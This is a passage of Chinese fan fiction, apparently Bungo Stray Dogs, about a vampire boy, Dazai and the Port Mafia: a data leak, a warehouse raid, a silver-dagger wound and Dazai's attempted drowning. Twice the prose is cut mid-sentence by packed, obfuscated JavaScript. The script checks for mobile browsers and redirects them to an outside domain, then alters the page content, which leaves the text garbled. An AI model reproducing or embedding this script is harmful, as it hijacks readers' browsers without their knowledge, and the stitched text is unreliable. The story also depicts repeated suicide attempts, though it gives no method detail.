触感冰凉柔顺,如同最上等的东方丝绸,带着生命特有的微微弹性。 太宰治的手指停顿了一下,仿佛在确认这奇异的触感。 然后,他像是被某种无形的丝线牵引着,开始用指尖,极其缓慢地、带着一种近乎笨拙的轻柔,一下,又一下地,揉着菲那恩的脑袋。 动作生涩,却小心地避免弄醒对方。 粉色的发丝在他指缝间无声流淌。 “我是疯了吗……”一声极轻、极低的呢喃,如同叹息般从太宰治唇边逸出。 那声音里没有了平日的讥诮和恶意,只剩下……迷茫和不敢相信。 窗外的最后一丝余晖也沉入了地平线,办公室彻底陷入一片温柔的黑暗。 那修长的手指在粉色发丝间停留了片刻后,太宰治猛地收回了手,像被无形的火焰烫到。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337552|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他鸢色的眼眸在昏暗中闪过一丝极其复杂的情绪,快得如同幻觉,随即被惯常的淡漠覆盖。 他低头又看了一眼菲那恩沉睡的侧脸,那张毫无防备的睡颜在黑暗的剪影中显得格外脆弱。 他无声地后退一步,动作依旧轻得没有发出丝毫声响,仿佛从未靠近过。 时间在死寂的黑暗中悄然流逝。 菲那恩是被一阵强烈的饥饿感和颈部的僵硬感唤醒的。 他迷迷糊糊地睁开眼,赤红的眼眸在黑暗中微微泛着光,带着初醒的茫然。 “唔……”他发出一声细微的呻吟,动了动僵硬的脖子,脸颊离开了冰冷坚硬的桌面。他揉了揉被压出红印的脸颊,茫然地环顾四周。 一片漆黑。 绝对的、纯粹的黑暗,窗帘紧闭,没有月光,没有灯光。只有他吸血鬼的视力,能勉强勾勒出巨大办公桌、书柜、沙发模糊的轮廓。 办公室里……空无一人。 “太宰?”菲那恩试探性地叫了一声,声音在空旷寂静的房间里显得格外清晰,又迅速被黑暗吞噬,没有回应。 他站起身,走到太宰治那张巨大的办公桌前——那里空空如也,文件被整齐地收走了,连钢笔都放回了笔筒。 菲那恩眨了眨赤红的眼睛,脸上是纯粹的、大写的茫然。 人呢? 刚才……不是还在吗? 他还记得自己睡着前,太宰治明明就在对面看文件的…… 他走到门边,拉开厚重的实木门。 外面走廊的应急灯散发着幽绿色的、微弱的光芒,勉强照亮一小片区域。 走廊同样空旷死寂,听不到任何脚步声或人声,只有远处不知道哪个机房传来的、极其微弱的设备嗡鸣。 整栋港口黑手党总部大楼,仿佛一座巨大的、沉睡的钢铁坟墓。 除了必须的守夜人员和监控室,几乎所有人都离开了。 菲那恩站在门口,粉色的长发在幽绿的光线下显得有些诡异。 他赤红的眼眸里充满了巨大的问号。 太宰治……自己回去了? 没叫他? 就这么……把他丢这儿了? 菲那恩回到办公室,重新坐回自己的小长桌前。 他打开桌上的台灯,暖黄色的灯光瞬间驱散了一小片黑暗。 灯光下,那本破旧的蓝色文件夹和旁边厚厚一沓誊写得工工整整的稿纸,此刻看起来……嗯,就是一堆纸。 他拿起自己誊抄的那叠纸,翻了两下。 那些他看不懂的、歪歪扭扭的日文字符,在他眼里就像一堆意义不明的符号组合。 他努力回忆了一下下午誊抄时的“认真”状态,再看看眼前这厚厚一沓成果,脑子里只有一个念头:所以……我抄这个……是为了啥? 腹中的饥饿感在寂静中被无限放大,如同无数细小的虫蚁啃噬着他的胃壁。 那是对太宰治血液的、深入骨髓的渴望。 这渴望因为此刻的懵逼和“我是谁我在哪”的茫然,变得格外清晰和……有点烦人。 他想了想,还是把那叠誊抄好的稿纸仔细整理好,边缘对齐。 又把那本破旧的蓝色文件夹放在最上面,整整齐齐地、端端正正地摆在了长桌中央最显眼的位置,正对着太宰治空荡荡的座椅方向。 做完这一切,他看着那叠文件,又看看空椅子。 这流程……好像应该是这样做的?虽然不知道有什么用。 关掉台灯。 办公室再次陷入彻底的黑暗。 菲那恩没有离开。 他蜷缩在冰冷的办公椅上,抱着膝盖,将下巴抵在膝盖上。樱粉色的和服在黑暗中像一团模糊的粉影。 赤红的眼眸在黑暗中如同两颗困惑的红宝石,一眨不眨地盯着桌面上那叠摆放得过于整齐、在他视野里清晰无比的文件。 刚睡醒的菲那恩脑子神清气爽,思考问题的速度更快了。 太宰治没带走它们。 所以……他让我抄这个……到底是为了什么? 难道……就是为了看我抄? 或者……是为了让我睡着? 菲那恩的思维开始往奇怪的方向发散。 眼前这个情况……他有点看不懂。 菲那恩叹了口气,“人类真难懂。” 远在公寓的太宰治狠狠打了一个喷嚏,顿感一阵恶寒。 16. 信息盗取 港口Mafia,深夜。 一名穿着港口Mafia底层巡逻人员制服的男人,眼神闪烁,动作鬼祟地利用权限漏洞,潜入了一间防守相对薄弱的资料中转室。 他心跳如鼓,快速破解了一个加密硬盘,将数据下载到一个特制的便携存储器中。 完成后,他迅速消除访问痕迹,如同融入阴影的老鼠,悄无声息地消失在错综复杂的通道里,与外部接应的组织成员汇合。 …… 公寓客厅里。 菲那恩蜷缩在沙发上,怀里抱着一个软垫,赤红的眼眸一眨不眨地盯着屏幕,里面正播放着一部经典的推理电影。 屏幕上,那位戴着猎鹿帽、叼着烟斗的传奇侦探,正用他那标志性的、快得让人跟不上思路的语速,条分缕析地揭穿凶手的完美犯罪,每一个细节都成为他逻辑链条上不可或缺的一环。 “好厉害……”菲那恩喃喃自语,指尖无意识地抠着软垫的绒毛,“为什么他看一眼就知道那么多?” 太宰治正懒洋洋地瘫在旁边的单人沙发里,手里依然拿着那本不知道看了多少遍的完全自杀手册。 他心不在焉地翻着,闻言掀了掀眼皮,瞥了一眼屏幕。 “啊,那个啊……”他拖长了调子,声音懒散,“电影里都是骗小孩的啦,现实中这么厉害的侦探可是凤毛麟角,而且,电影里的推理其实很简单——” 他伸出食指,晃了晃:“——基本上,只要记住‘出现了的剧情就很有可能跟案件有关’这个万能法则,然后再稍微动动脑子,把那些看似无关的细节强行……嗯,或者说‘巧妙’地串联起来,就能得出一个看起来很高深的结论了。” “说白了,就是编剧和导演在牵着观众的鼻子走。” 菲那恩转过头,若有所思地看着太宰治,红眸里带着明显的困惑:“强行……串联?” “嗯哼,”太宰治合上书,似乎来了点兴致,坐直了一些,“比如,你看,镜头特意给了一个花瓶特写,那这个花瓶要么是凶器,要么里面藏了钥匙,要么它的摆放位置暗示了时间……总之,它肯定有问题,不然导演拍它干嘛?浪费胶片吗?” 他耸了耸肩,“所以啊,看起来复杂的推理,拆穿了也就是这么回事。” 菲那恩似懂非懂地点了点头,好像明白了什么。 出现了的,就是有用的。 这时,太宰治的手机响了。 他拿起一看,来电显示的那个名字让他眼神一凛。 “我有点事。”他站起身,随意地把书扔回沙发,趿拉着拖鞋走向自己的房间,“你自己慢慢看吧,小侦探。” 房门轻轻关上,客厅里只剩下电影的背景音乐和人物对白。 菲那恩重新将注意力集中到电影上。 剧情已经推进到了尾声,真凶被揭露,在绝对的证据和逻辑面前瘫软认罪。 众人一片欢呼,赞叹着侦探的智慧。 这时,屏幕上,那位一直协助侦探、明显对侦探抱有好感的女主角,脸上带着羞涩的红晕,慢慢地走上前。 她突然踮起脚尖,快速地、轻轻地在侦探的脸颊上吻了一下。 侦探明显愣了一下。 女孩低下头,声音细若蚊呐,却充满了真挚的情感:“这、这是对您的感谢……以及……我的……喜爱。” 镜头特写停留在侦探微微怔忡、继而露出一丝温和笑意的脸上。 电影在一片温馨浪漫的氛围中落幕,演职员表开始滚动。 菲那恩却依旧保持着原来的姿势,愣愣地看着已经变暗的屏幕,赤红的眼眸里充满了新奇和……领悟。 ……表达感谢和喜爱的时候……就要吻脸? 像这样? 他下意识地抬起手,用手指轻轻碰了碰自己的脸颊,仿佛在模拟那个触感。 原来人类是用这种方式来表达强烈正面情绪的? 学到了。 他摸着下巴,将这条“新知识”郑重地收录进他对人类行为的、尚且贫瘠的理解库中。 就在这时,太宰治的房门猛地被打开。 刚才还一脸慵懒的青年此刻面色严肃,甚至带着一丝罕见的凝重。 他手里拿着仍在通话中的加密手机,快步走到菲那恩面前,鸢色的眼眸里没了平时的戏谑,只剩下冰冷的锐利。 他直接按断了电话,沉声道: “菲那恩,准备一下,首领紧急传唤——” 他的声音顿了顿,加重了语气, “——出大麻烦了。” 菲那恩还沉浸在“人类表达喜爱方式”的新知识里,一时间没能反应过来,只是下意识地坐直了身体,怀里的软垫掉在了地上。 太宰治没有给他发呆的时间。 他快步走到菲那恩面前,高大的身影投下一片阴影,平日里总是漫不经心的鸢色眼眸此刻锐利如刀,紧紧锁住菲那恩那双还带着些许茫然的赤红眼睛。 “听着,菲那恩,没时间发呆了。”太宰治的声音压得很低,语速快而清晰,带着不容置疑的严肃,“港口Mafia内部出了严重的问题——我们所有核心异能者的能力信息,包括弱点、使用条件、战斗习惯……可能都被泄露了。” 菲那恩眨了眨眼,似乎还在消化“信息泄露”这个词的含义。 他对人类组织的运作方式依然一知半解。 太宰治看出了他的困惑,啧了一声,换了一种更直白、更血腥的方式解释:“简单来说,就像有人把我们所有人的底牌,甚至是把心脏的位置和怎么捅最致命,都画成了详细的地图,卖给了我们的敌人。” 他无奈扶额,“你知道这意味着什么吗?” 菲那恩的瞳孔微微收缩。 他虽然不完全懂组织运作,但他懂“弱点”和“致命”。 “意味着,每一个在外执行任务的成员,都可能因为能力被提前知晓而遭到精准伏击,甚至……被活捉。”太宰治的声音冷得像冰。 菲那恩见过死亡,见过背叛,见过人类是如何轻易地毁灭他们所恐惧的事物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337553|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他太清楚,当弱点被赤裸裸地暴露出来时,会招致怎样精准而残酷的打击。 ——有人想要毁掉港口mafia。 他不允许。 “而且,菲那恩,”太宰治继续说道,语气变得更加沉重,他紧紧盯着菲那恩的眼睛,一字一句地说道,“根据目前的情报,被泄露的信息里……包括你的。” 菲那恩的身体几不可查地僵住了。 太宰治继续说道:“虽然不一定很详细,但由于你苏醒那一天在拍卖场动静闹得太大了,港口mafia已经尽力封锁消息,但‘疑似古老血族的粉发少年’——这样的描述,很可能已经摆在某些人的桌子上了。” 太宰治的声音里带着一丝不易察觉的冷厉,“这意味着——从现在开始,某些对我们、或者说对港口Mafia感兴趣的组织或个人,很快就会注意到你,他们会好奇你的能力,你的弱点,你的……价值。” 一种毛骨悚然的危机感顺着菲那恩脊椎爬升。 这不再仅仅是港口Mafia的麻烦,这直接成了他的麻烦。 赤红的眼眸中,最后一丝茫然彻底消失,取而代之的是一种沉淀了数百年的、属于猎食者的冰冷杀意和威严。 周遭的空气似乎都因他散发出的寒气而凝滞了几分。 “我明白了。”菲那恩的声音低沉而平静,却带着一种不容错辨的寒意,“找出他们,然后,处理掉。” 太宰治看着眼前气质骤变的吸血鬼,鸢色的眼眸深处闪过一丝极淡的、难以捕捉的情绪——或许是惊讶,或许是……别的什么。 港口Mafia顶层,首领办公室。 办公室里不只有菲那恩和太宰治,还有中原中也和广津柳浪。 森鸥外看着屏幕上中断的监控画面和触发的数据泄露警报,脸上是一种冰冷的、令人胆寒的威严,眸中闪过一丝凌厉的杀意。 他的目光锐利地扫过面前四人。 “太宰,”他首先看向那双鸢色的眼眸,“我需要你潜入他们的通讯网络,远程指挥,提供实时情报支援,并确保核心数据能被完整取回——你是这次行动的大脑,担任任务小队长。” “了解~”太宰治嘴角勾起一抹没什么温度的笑意。 “菲那恩君,”森鸥外的视线转向安静的吸血鬼,“你的任务是确保太宰的行动不受干扰,保护他,清除任何可能威胁到他安全的因素。” 菲那恩微微颔首。 “中也,”森鸥外看向中原中也,“正面突破,火力压制,以最快速度控制现场,必要时……允许彻底清除。”话语中的血腥味毫不掩饰。 “正合我意!”中原中也咧开一个充满战意的笑容,捏紧了拳头。 “广津先生,”最后,他看向最沉稳的黑蜥蜴百人长,“带领你的部队,负责外围清剿、区域控制和后续扫尾工作,确保没有漏网之鱼,切断一切可能的退路。” “谨遵您的命令,首领。”广津柳浪沉稳应声,微微躬身。 “——行动。” 17. 狄克拉之银 数辆黑色轿车如同暗夜的幽灵,无声地滑入港区指定集结点。 车门纷纷打开,众人鱼贯而出。 夜晚的海风带着咸腥和寒意吹拂而来。广津柳浪,这位无论何时都衣着得体如同老派绅士的黑蜥蜴百人长,率先下车,微微整理了一下毫无褶皱的西装袖口和白色手套,沉稳锐利的目光如同探照灯般扫过昏暗的码头环境,迅速评估着现场。 他的视线自然地落在了那位新面孔——菲那恩身上。 少年穿着合身的粉色和服,衬得皮肤愈发苍白,长发束在脑后,脸上没什么表情的时候,看起来就像一个精致得过分的洋娃娃。 广津柳浪心中暗忖。 一双赤红的眼眸在夜色中显得格外醒目,正安静地站在那里。 这就是那位新加入的……异能者少年? 首领让他参与这种级别的行动,是异能非常特殊吗? 看起来年纪不大…… 广津柳浪开口嘱咐一句,“请务必小心,别受伤了,菲那恩君。” 正在发呆菲那恩闻言回神,面前这个老绅士,他……不认识。 他平时大多数时候只跟太宰主动说话,话也稍微多一点。 但是广津柳浪这种带着善意的、长辈般的提醒,让菲那恩顿时有些无措,强装镇定地点了点头。 突然,菲那恩的目光倏然被什么吸引了过去。 广津柳浪顺着菲那恩的视线望去—— ——是太宰治。 那位年轻的干部正靠在另一辆车旁,低头快速操作着加密平板,屏幕的冷光映照着他轮廓分明的侧脸和缠着绷带的脖颈。 他神情专注,嘴角却依旧噙着那抹惯常的、令人捉摸不透的浅淡弧度,仿佛周遭的紧张气氛与他无关。 太宰治突然开口,打破了寂静,对中原中也说道:“中也,带人正面强攻,动静越大越好,把他们的大部分火力都引到你那边。” “哈?又让我当诱饵?”中原中也不满地啧了一声,但还是捏紧了拳头,周身泛起暗红色的重力异能光芒。 “因为你最擅长这个嘛~”太宰治敷衍地回了一句,目光转向菲那恩,“菲那恩,跟我来。” “好了~”太宰治语气轻松得像是在宣布游戏开始,“敌人们的位置锁定了,就在三号仓库深处,通讯频道已加密接入,各位,行动吧。” 广津柳浪沉稳颔首,随后一挥手,黑蜥蜴成员如同融入夜色的影子般悄无声息地散开。 太宰治和菲那恩借着中原中也在正门制造的巨大爆炸和轰鸣声的掩护,从仓库侧翼一个不起眼的通风口潜入。 太宰治轻易地破解了外围的电子锁,潜入目标建筑。 菲那恩紧随其后,他的动作轻盈得不可思议,赤红的眼眸如同最精准的探测器,扫视着每一个角落。 “左转,有两个巡逻。”太宰治的声音通过微型通讯器传入菲那恩耳中,低沉而清晰。 菲那恩甚至没有回应,身影如同鬼魅般掠出,黑暗中只传来两声极其轻微的闷响,以及身体软倒的声音。 他下手精准而利落,没有一丝多余的动作。 太宰治回头瞥了一眼,恰好看到菲那恩为了避开一个突然转动的监控探头,身体以一个极其柔韧的姿势向后弯折,轻松躲过了扫描范围。 “……哦呀?”太宰治鸢色的眼眸里闪过一丝真实的惊讶,他压低声音,“菲那恩君,你身体的柔韧性……这么好的吗?” 那种程度的下腰,即使是经过严格训练的体操运动员也未必能做得如此轻松。 菲那恩站直身体,拍了拍和服上不存在的灰尘,点了点头,“我的身体天生比较柔软,可以很轻易地摆出想要的姿势。” 太宰治挑了挑眉,没再说什么,只是眼底的兴趣更浓了几分。 两人继续深入,菲那恩如同最高效的清道夫,精准地清除掉沿途所有的明哨暗岗,为太宰治开辟出一条绝对安全的道路。 终于,他们抵达了情报中提到的核心控制室外。 太宰治对菲那恩使了个眼色。 菲那恩会意,指尖微动,控制室厚重的金属门锁内部传来一声极其细微的、如同冰晶碎裂般的声响——他从内部用血族能量破坏了锁芯。 随即,他猛地拉开门,身影如电闪入。 控制室内的人甚至没来得及反应,就被一道粉色的残影瞬间击晕。 另一个试图去按警报的人,手腕被菲那恩毫不留情地踩住,发出了痛苦的闷哼。 人类的速度对于他来说实在太慢了。 太宰治快速坐到主控台前,手指在键盘上飞舞,屏幕上的代码如同瀑布般流下。 “唔……加密方式还挺别致。”太宰治嘴角勾起一抹兴味的弧度,但眼神却冰冷无比,“不过,也就这种程度了。” 几分钟后,他成功突破了防火墙,找到了被窃取的数据流。 然而,他的眉头却微微皱起。 “不对劲……”他喃喃自语,“数据传输的优先级和目的地址……很奇怪。” 他起身,踱步靠近,看着被菲那恩死死按在地上的那个似乎是头目的男人,脸上带着没什么温度的笑意。 “晚上好呀~”他蹲下身,语气轻快,内容却冰冷刺骨,“我们来玩个问答游戏怎么样?信息,泄露了多少?卖给谁了?撒谎或者犹豫,后果自负。” 那个男人脸上满是惊恐和冷汗,嘴唇哆嗦着:“我、我说!别杀我!买家身份不明!他……其实只指定要那个粉头发少年的情报!说可能是古老的吸血鬼……其他的、其他异能者的信息是我们自作主张偷偷拷贝的,想……想多卖点钱……还没来得及联系其他买家……” 太宰治的瞳孔几不可查地收缩了一下。 他最担心的事情还是发生了。 菲那恩看着看向太宰治,忽然开口:“太宰,他们……只想要我的情报?” “啊,是啊。”他扯出一个有些复杂的笑,“看来我们菲那恩,比想象中还要受欢迎呢。” 就在此时,控制室内突然响起刺耳的警报声,红色的警示灯疯狂闪烁。 “警告!自毁系统已启动!倒计时六十秒!” “警告!所有出口已强制锁定!” “啧,麻烦。”太宰治迅速回到控制台,尝试中断自毁程序,但系统已经被完全锁死。 太宰治啧了一声,但脸上不见丝毫慌乱,飞快地将那个存储着所有被盗数据的特制存储器拔下,塞进口袋。 菲那恩的注意力因为这突如其来的警报打乱,目光短暂地移开,看向了太宰治。< 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下达完指令,太宰治才看向菲那恩:“没事吧?能走吗?” 然而,他却看到菲那恩的脸色以肉眼可见的速度变得苍白,他正试图拔出那把匕首,但手指触碰到匕首时,竟然像是被灼烧一般冒起一丝白烟。 腹部的伤口不仅没有一丝一毫愈合的迹象,反而在不断渗出大量的鲜血,甚至将那粉色的和服都染成了深红。 “怎么……回事?”菲那恩的声音带着明显的虚弱和困惑,他低头看着自己无法愈合的伤口,赤红的眼眸里第一次出现了难以置信的情绪,“……无法恢复?” 突然,他像是想到了什么,瞳孔骤然收缩。 “迪克拉之银……”他失声低语,声音里充满了震惊和茫然,“这种东西……为什么这里……也有?!” 这种专门针对高等血族、能彻底抑制其自愈能力并不断侵蚀生命本源的禁忌金属,他原本以为只存在于他原来的世界。 剧烈的虚弱感如同潮水般涌上,让他几乎站立不稳,猛地向后退了一步,虚弱地扶住了冰冷的控制台。 狄克拉之银……真是麻烦的东西…… 自爆的倒计时声如同死神的丧钟,滴答作响。 太宰治立刻注意到了他的异常和那句充满震惊的低语。 他脸上的从容消失了,一步上前扶住菲那恩摇摇欲坠的身体:“狄克拉之银?那是什么?” “是针对……血族的……杀器……”菲那恩的气息变得急促,忍着疼痛把匕首拔了出来,额角渗出冷汗,意识已经开始有些模糊,“阻止……自愈……” 但好在他身体里还有一半人类的血,狄克拉之银的威力已经变小了不少。 而且……他原本就不会死。 强行撕开这里,带太宰出去……还是能做到的。 但在意识半模糊间,菲那恩看着眼前眉头紧锁、扶着他的太宰治,一个念头突然冒了出来。 一种突然而来的、近乎冷酷的好奇心,混合着因虚弱而降低的行动力,让他暂时选择了静观。 ——他好奇,在这种绝对的绝境下,人类会会怎么做。 或者,太宰会怎么做。 18. 任务完成 太宰治看着菲那恩愈发苍白的脸和那不断扩大的血渍,鸢色的眼眸中翻涌着从未有过的剧烈情绪。 他深吸一口气,强迫自己冷静下来。 “别说话,保存体力。”他的声音异常沉稳。 菲那恩半阖着眼,意识在剧痛和虚弱中浮沉,越是紧张的氛围,思维反而越是发散了。 该死,狄克拉之银果然很厉害,简直就是凌迟…… 死倒是死不了,毕竟他的“心脏”缺失,随时都可能因为在未知的某处“心脏”损毁而死,但也可能因为“心脏”保存完好,而可以无限接近于死亡,但总是会给他吊着一口气。 话说为什么陷入百年的沉睡,似乎就是因为上次中了高纯度的狄克拉之银,没想到醒过来没多久又栽狄克拉之银手上了…… 不过好在这个狄克拉之银纯度没有上次那么高,不然……他或许又要沉睡了。 他看着太宰治快速在控制台上操作,试图寻找解除自爆程序或开启备用通道的方法。 倒计时一分钟。 就在菲那恩几乎要放弃观察,准备凝聚最后力量强行突破时—— 太宰治似乎找到了什么,猛地一拳砸向主控制台下方一个不起眼的、布满线缆的接口面板。 “砰!”火花四溅。 这一拳似乎触发了某种底层物理故障,整个控制室的灯光猛地一暗,连刺耳的警报声都卡顿了一下。 控制室侧面,一道原本与墙壁融为一体、极其隐蔽的紧急维修通道口,“咔哒”一声,缓缓滑开,露出了仅容一人通过的狭窄通道。 太宰治一手穿过菲那恩的膝弯,另一只手环过他的后背,小心地避开了腹部的伤口,将比自己略矮一些的菲那恩整个打横抱了起来。 菲那恩的身体意外地很轻,像一片羽毛。 “抱紧我。”太宰治的声音带着一种奇异的冷静。 菲那恩下意识地用手臂环住他的脖颈。 菲那恩虚弱地靠在太宰治的胸前,脸颊贴着对方微湿的衬衫,能听到那有力的心跳声。 颠簸和疼痛让他意识昏沉,但他却奇异地感到一丝……安心? 几乎在他们冲进通道的几秒后—— 轰隆!!!! 震耳欲聋的爆炸声从身后猛地传来,炽热的火焰和冲击波瞬间吞噬了控制室,汹涌的气浪甚至追着他们冲进了通道。 太宰治将菲那恩的头紧紧按在自己怀里,甚至捂住了菲那恩非人的尖耳朵,隔绝爆炸的巨响。 通道尽头的光亮越来越近。 最终,他们冲出了通道,重重地跌倒在码头冰冷的地面上。 身后是冲天而起的火光和滚滚浓烟,爆炸的巨响回荡在夜空。 菲那恩腹部的伤口因为颠簸再次渗出更多的血,脸色苍白如纸,长长的睫毛颤动着,赤红的眼眸艰难地睁开一条缝,映着远处跳跃的火光,和太宰治那张沾了灰尘、写满担忧的脸。 “……真的……出来了……”菲那恩的声音带着难以置信的虚弱,“你怎么……找到的……” 太宰治没有回答他的问题,声音沙哑,听不出来喜怒:“你就知道给我添麻烦。” 菲那恩倔强地反驳,“都是……那个人类太阴了……” 太宰治几乎想叹气。 菲那恩在他怀里,感受着人类怀抱的温暖,意识终于支撑不住,缓缓沉入了黑暗。 广津柳浪正指挥着黑蜥蜴成员灭火和警戒,中原中也则烦躁地踢开一块焦黑的碎石,直到看见太宰治以一种极其罕见的姿势抱着菲那恩从废墟里踉跄出来,两人都愣住了。 最后的最后,任务圆满完成,但菲那恩受了不轻的伤。 对于菲那恩来说,受伤是小事,受无法快速自愈的伤,那就是大麻烦了。 “菲那恩君伤口处的皮肤细胞活性降低到了正常人类水平之后,便不再下降了。”森鸥外为菲那恩检查后,一边上药一边将结论告知中也和太宰。 鉴于他们知晓菲那恩的身份,被允许在场。 中原中也表情有一丝松动,“意思就是这家伙没什么大问题了吧?” 看到森鸥外点头,中原中也默默松了口气。 然而太宰治抱着手臂,嘴唇抿紧。 他从森先生的话中得出了另一个结论:若菲那恩是纯血族,[狄克拉之银]厉害到足以将一个血族的细胞活性归零,即——变为一具干尸。 森鸥外继续说道:“那把[狄克拉之银]已经查到来历了,这是世界大盗盗取的欧洲一个古老贵族的传家宝,随后阴差阳错走私到日本,至于为什么出现在这个小组织这里,仍然是个谜。” 太宰治终于开口,声音低沉:“可惜,我们的人将那片废墟之中翻了个底朝天都没找到那把[狄克拉之银],或许是在爆炸中彻底毁灭了吧。” ………… 菲那恩醒的倒是挺快,上完药后一个小时就醒了。 菲那恩捂着腹部,步伐有些踉跄地挪到太宰治的办公室门口。 门虚掩着,他轻轻推开,看见太宰治正对着桌面一堆杂乱的文件皱眉,手指无意识地敲击着桌面,周身笼罩着一层罕见的烦躁气息。 太宰治闻声抬头,鸢色的眸子在看到菲那恩苍白的脸色和捂着伤口的手时,瞬间敛去了所有外露的情绪,变得深沉难辨。 “不好好躺着,到处乱跑什么?”他的语气听起来和往常一样,但仔细听却能品出一丝不易察觉的关心,“又想给我增加工作量吗?照顾病号可是很麻烦的。” “……忘了。”菲那恩老实回答,声音还有些虚弱。 他小心地走到沙发边坐下,尽量避免牵拉伤口,“你还在查?” 说着,目光落在茶几上放着的一小瓶血液,心中泛起一股异样的情绪。 他有些惊讶,太宰怎么知道他会来这里……不过他早就饿到有些虚脱,顺手就拿起来喝了。 “不然呢?”太宰治向后靠在椅背上,指尖无意识地敲着桌面,“[狄克拉之银]更像是专门来试探你的,对方手脚很干净,或者说,对我们的行动模式相当了解,线索到那个死了的蠢货那里就彻底断了。” 菲那恩沉默了一下,似乎在消化这个信息。 腹部的伤口还在隐隐作痛,提醒着他[狄克拉之银]的存在和背后可能的恶意。 他忽然开口,声音很轻,却带着 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“——给我老老实实待着,别擅自行动,下次要注意防御,听懂了吗?” 菲那恩摸了摸被弹的额头,看着太宰治,微微撇了下嘴,最终还是不情不愿地“嗯”了一声。 若在以往,这般带着训诫和些许冒犯意味的举动,足以激起古老血族本能的反抗与冷意。 但此刻的菲那恩,却像是心甘情愿地被纳入某种领地范围,他甚至未曾意识到这其中微妙的不同。 他的大部分心神,仍沉浸在另一种更为汹涌的情绪里。 ——他被太宰治抱出来了。 这个认知反复冲刷着他的思绪,带来一阵阵陌生而滚烫的悸动,心跳快得不像话。 他不是很明白这种汹涌的情感究竟为何,只觉得胸腔里涨满了某种轻盈又酸涩的东西,一种纯粹的、源自被珍视与被保护的……高兴。 这是他漫长生命中,除了母亲外,第一次被别人以这样不容置疑却又温柔小心的方式,抱离某个危险地方。 而与心绪纷乱的菲那恩不同,太宰治的想法则显得“单纯”许多。 于他而言,“饲养”这只特别的小吸血鬼,并在这个过程中忍受对方带来的各种“折磨”,早已将菲那恩划归为不容他人染指的独家所有物。 维护、教导、乃至偶尔的“惩戒”,都不过是顺理成章的所有权行使。 当然,这场以“所有物”为名的游戏,界限早已模糊不清。 究竟是随心所欲的掌控者,还是早已深陷其中的局内人,或许连太宰治自己也无法断言。 或许哪天他会觉得腻味,随手将这份“所有物”弃如敝履。 又或许,在这场看似由他主导的游戏里,他早已不知不觉,泥足深陷。 这或许只有未来和时间才知道。 太宰治看菲那恩“嗯”了一声,这才稍微满意,重新看向窗外,眼底却掠过一丝极淡的冷光。 等待猎物自己上门吗? ……倒也不失为一个办法。 只是要做好准备才是。 19.活着的意义 菲那恩的伤几天就好了,之后的日子风平浪静,他姑且算是在港口mafia彻底安定了下来。 但是菲那恩却成了□□食堂最热门的话题,从猜测空降mafia的菲那恩是首领的亲戚,到是高层从某处挖来的秘密武器,再到现在—— 几乎一夜之间,“新人实力强大,受到那位不可言说的大人特别优待”的消息,如同滴入滚油的冷水,在港口黑手党庞大而压抑的建筑里炸开了锅。 八卦在走廊拐角、食堂角落、甚至武器保养室里,以各种添油加醋的版本疯狂滋长。 当然,这些八卦无足轻重,也不会传进菲那恩的耳朵里。 …… 横滨的黄昏,总带着一种倦怠的暖意,将鹤见川的河水染成慵懒的金红。 但对于太宰治而言,色彩并无意义。 他只是觉得,这个时刻的河水,或许能更温柔地接纳他。 菲那恩接到下属焦急的电话时,正对着一本太宰硬塞给他的《完全自杀手册》发呆。 上面的方法在他看来既低效又痛苦,远不如血族某些传承记忆里的方式来得“优雅”,但电话里的内容让他立刻放下了那本荒诞的书。 又来了。 那种熟悉的、细微的焦灼感再次攥紧了他的心脏。 他甚至没有思考,身体已经先于意识行动,化作一道模糊的影子,朝着鹤见川的方向疾驰而去。 赶到河边时,看到的景象依旧让他的呼吸漏了一拍。 太宰治大半个身子已经没入浑浊的河水中,黑色的风衣像不祥的暗影在水面下散开。 他仰着脸,夕阳在他过于苍白的脸上投下最后的光晕,鸢色的眼眸望着逐渐深邃的天空,空洞得让人心慌。 他平静得诡异,不像在赴死,倒像在赴一场期待已久的约会。 菲那恩血红的眼眸骤缩,几乎是本能地冲入水中,冰凉的河水瞬间浸透了他的衣裤。 他一把抓住太宰治冰冷的手腕,用力将他往岸上拖拽。 “太宰!”他的声音里带着一丝自己都未察觉的急促。 太宰治没有挣扎,甚至异常配合地借着菲那恩的力道站了起来。 河水从他湿透的头发、脸颊、大衣上不断滴落,在地上晕开深色的水渍。 他剧烈地咳嗽了几声,吐出几口河水,才抬起眼,看向眼前同样浑身湿透、粉色长发黏在脸颊、正皱着眉盯着他的菲那恩。 那双鸢色的眼睛里,没有往常被救起后的夸张抱怨或玩笑般的指责,只有一片深不见底的、疲惫的虚无。 “啊……是菲那恩啊。”他的声音沙哑,裹挟着水汽的冰凉,“又被你找到了呢。” 菲那恩没有松开抓着他手腕的手,仿佛怕一松开,这个人又会悄无声息地沉下去。 他只是固执地看着他,血红的眼眸里充满了无法理解的困惑和……一丝极淡的担忧。 “为什么……”菲那恩的声音有些发颤,带着连自己都未察觉的委屈和质问,“活着……就让你那么痛苦吗?” 他见过太多死亡,但从未理解过这种主动的、一次又一次的自我放弃。 太宰治的咳嗽渐渐平息,他缓缓睁开眼,鸢色的眼眸望着横滨灰蒙蒙的夜空,里面空荡荡的,什么也没有。 他没有回答菲那恩的问题,反而轻轻地、像是在问菲那恩,又像是在问自己: “菲那恩……你说,人活着,到底有什么意义呢?” 